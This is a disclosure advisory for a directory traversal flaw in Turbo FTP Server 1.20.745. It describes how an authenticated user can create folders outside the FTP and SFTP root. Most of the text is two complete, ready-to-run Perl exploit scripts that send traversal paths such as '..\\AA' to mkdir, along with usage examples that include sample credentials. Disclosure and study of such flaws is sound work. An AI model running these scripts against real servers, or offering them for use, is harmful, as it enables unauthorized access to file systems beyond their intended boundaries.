Turbo FTP Server 1.20.745 Directory Traversal

`Date of Discovery:  
17-Jun-2010  
  
Credits:  
leinakesi[at]gmail.com  
  
Vendor:   
Turbo FTP Server  
  
Affected:  
Turbo FTP Server 1.20.745.   
Earlier versions may also be affected.  
  
Overview:  
1.vendor description of software  
------------------------------------------------  
TurboFTP Server is a high performance, secure, scalable and management friendly file transfer server running on Windows platforms. With it you can easily set up a secure file transfer server that delivers regular FTP, FTP over SSL/TLS, and "SFTP over SSH" services with virtual domains, advanced directory access control, virtual folders, IP access control, flexible authentication options and many other features.  
2.vulnerability details:  
------------------------------------------------  
Directory Traversal Vulnerability exists in "FTP" and "SFTP" module of Turbo FTP Server that allows an authenticated user to create directories outside the root directory, which may lead to other attacks.  
  
If you could log on the server successfully,  
take the following steps to create folders outside the sftp root directory:  
1. $ssh2 = Net::SSH2->new();  
2. $ssh2->connect($server, $port);  
3. $ssh2->auth_password($user, $pass);  
4. $sftp = $ssh2->sftp();  
5. $m = $sftp->mkdir("..\\A\\");  
6. $ssh2->disconnect();  
  
take the following steps to create folders outside the ftp root directory:  
1. $ftp = Net::FTP->new($server, Debug => 0);   
2. $ftp->login($user, $pass);  
3. $ftp->mkdir("..\\AA");  
4. $ftp->quit;  
  
Severity:  
Medium  
--------------------------------------------------------------------  
Exploit example_1=======>sftp module:  
  
#!/usr/bin/perl  
#leinakesi[at]gmail.com  
#turboFTP Server(sftp module) directory traversal vulnerability  
  
use Net::SSH2;  
use Getopt::Std;  
  
  
@FUZZ = ("..\\A\\", "..\\AA");   
getopts('S:P:u:p:', \%opts);  
$server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = $opts{'p'};  
  
if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) )  
{  
print "usage:\n\tperl test.pl -S [IP] -P [port] -u [user] -p [password]\nexample:\n";  
print "\tperl test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n";  
exit(0);  
}  
  
$ssh2 = Net::SSH2->new();  
$ssh2->connect($server, $port) || die "can not connect the server, please check.\n";  
$ssh2->auth_password($user, $pass) || die "you sure user name and password are correct?\n";  
$sftp = $ssh2->sftp();  
  
foreach(@FUZZ)  
{  
if($m = $sftp->mkdir($_))  
{  
print "mkdir success, $_\n";  
}  
}  
  
$ssh2->disconnect();  
exit(0);  
  
--------------------------------------------------------------------  
Exploit example_2=======>ftp module:  
  
#!/usr/bin/perl  
#leinakesi[at]gmail.com  
#turboFTP Server(ftp module) directory traversal vulnerability  
  
use Net::FTP;  
use Getopt::Std;  
  
getopts('S:P:u:p:', \%opts);  
$server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = $opts{'p'};  
  
if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) )  
{  
print "usage:\n\tperl test.pl -S [IP] -P [port] -u [user] -p [password]\nexample:\n";  
print "\tperl test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n";  
exit(0);  
}  
  
$ftp = Net::FTP->new($server, Debug => 0) or die "Cannot connect to some.host.name: $@";  
$ftp->login($user, $pass) or die "Cannot login ", $ftp->message;  
$ftp->mkdir("..\\AA") or die "Cannot change working directory ", $ftp->message;  
$ftp->quit;  
exit(0);  
`